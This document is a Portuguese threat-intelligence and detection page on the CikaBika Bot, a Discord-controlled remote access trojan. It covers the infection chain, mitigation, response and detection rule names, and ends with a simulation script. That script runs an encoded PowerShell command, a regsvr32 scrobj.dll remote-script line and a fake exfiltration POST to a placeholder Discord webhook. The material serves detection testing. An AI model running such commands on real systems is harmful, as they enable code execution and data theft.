Análise do Bot CikaBika: Como o Discord RAT Opera
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O CikaBika Bot é um cavalo de troia de acesso remoto baseado em Rust distribuído através de iscas de phishing, como arquivos LNK maliciosos e documentos PDF. O malware utiliza um carregador baseado em Nim para acionar um bypass de UAC do PowerShell e realizar sequestro de ordem de busca de DLL contra o Microsoft Edge. Ele depende do Discord como uma plataforma de comando e controle para gerenciar sistemas infectados e executar uma variedade de comandos maliciosos.
Investigação
Pesquisadores da Darktrace analisaram a cadeia de infecção começando com uma imagem de disco contendo um atalho malicioso e um PDF de isca. A investigação rastreou o carga útil de um arquivo de texto temporário para uma DLL sequestrada colocada no diretório de aplicações do Microsoft Edge. Os pesquisadores também observaram o RAT usando o Discord para reconhecimento e aproveitando o ngrok para exfiltração de dados.
Mitigação
As organizações devem impor controles rigorosos sobre a execução de arquivos LNK e imagens de disco obtidas de fontes não confiáveis. Fortalecer as configurações de Controle de Conta de Usuário (UAC) e monitorar mudanças não autorizadas no registro envolvendo comandos de shell HKLM/HKCU pode ajudar a prevenir tentativas de bypass. As equipes de segurança também devem observar processos filhos incomuns do Microsoft Edge e o uso não autorizado de Discord ou ngrok.
Resposta
Quando a atividade do CikaBika Bot é detectada, isole os endpoints afetados da rede para interromper o canal C2 do Discord. Realize uma análise forense do %TEMP% diretório e dos caminhos de instalação do Microsoft Edge para identificar a dbghelp.dllmaliciosa. Revise a telemetria da rede para conexões suspeitas envolvendo ipify.com ou ngrok para avaliar o possível escopo da exfiltração de dados.
Fluxo de Ataque
Ainda estamos atualizando esta parte.
Detecções
Arquivo LNK Possivelmente Malicioso com Extensão Dupla (via linha de comando)
Chamada de Classes/Métodos .NET Suspeitos a partir de Linha de Comando do Powershell (via criação de processo)
Uso Suspeito de CURL (via linha de comando)
Chamada de Métodos .NET Suspeitos a partir do Powershell (via powershell)
Chamada de Funções da API do Windows Suspeitas a partir do Powershell (via powershell)
Indicadores Possíveis de Ofuscação do Powershell (via powershell)
Serviço de Tunelamento de Porta Possível (via dns)
IOCs (HashMd5) para detectar: CikaBika Bot: Dentro de um Discord RAT
PowerShell e Regsvr32 Executados para Exfiltração de Dados via Discord [Windows PowerShell]
Execução de Carga Útil RAT Decodificada e Reconhecimento de Processo [Criação de Processo do Windows]
Execução de Simulação
-
Narrativa e Comandos do Ataque: O adversário ganhou acesso inicial. Para evitar a detecção, ele tenta executar uma carga útil via um comando PowerShell codificado. A string do comando inclui um comentário falso “bypass de UAC do PowerShell” para acionar a lógica específica da regra. Após isso, o adversário tenta usar
regsvr32.exepara executar um script remoto (simulado via um arquivo local para evitar ruído de rede durante o teste). Finalmente, o adversário simula a exfiltração de dados enviando uma solicitação POST falsa para uma URL de webhook do Discord via PowerShell. -
Script de Teste de Regressão:
# Script de Simulação: Imitando Exfiltração via Discord estilo Cikabika Write-Host "[+] Iniciando Simulação..." # 1. Simular a condição 'selection_uac_bypass' e 'selection_powershell_encoded' # O comando inclui a string literal 'bypass de UAC do PowerShell' e usa '-enc' $command = "Write-Output 'Carga Maliciosa'; # bypass de UAC do PowerShell" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) Write-Host "[+] Executando PowerShell Codificado com String de Bypass..." powershell.exe -enc $encodedCommand # 2. Simular 'selection_regsvr32' # Isso aciona a segunda metade da condição 'E' na regra Write-Host "[+] Executar Regsvr32..." regsvr32.exe /s /i:http://localhost/dummy.sct scrobj.dll # 3. Simular 'selection_discord_exfil' # Isso fornece um caminho alternativo para a segunda metade da condição 'E' Write-Host "[+] Simulando Exfiltração via Discord..." $discordWebhook = "https://discord.com/api/webhooks/test/12345" powershell.exe -Command "Invoke-RestMethod -Uri '$discordWebhook' -Method Post -Body '{"content": "Dados Exfiltrados"}'" Write-Host "[+] Simulação Completa." -
Comandos de Limpeza:
# Limpeza: Remova quaisquer arquivos temporários criados durante a simulação (se houver). # Nesta simulação específica, nenhum arquivo foi gravado no disco, # mas garantimos que a árvore de processos esteja limpa. Stop-Process -Name "powershell" -ErrorAction SilentlyContinue Write-Host "[+] Limpeza Completa."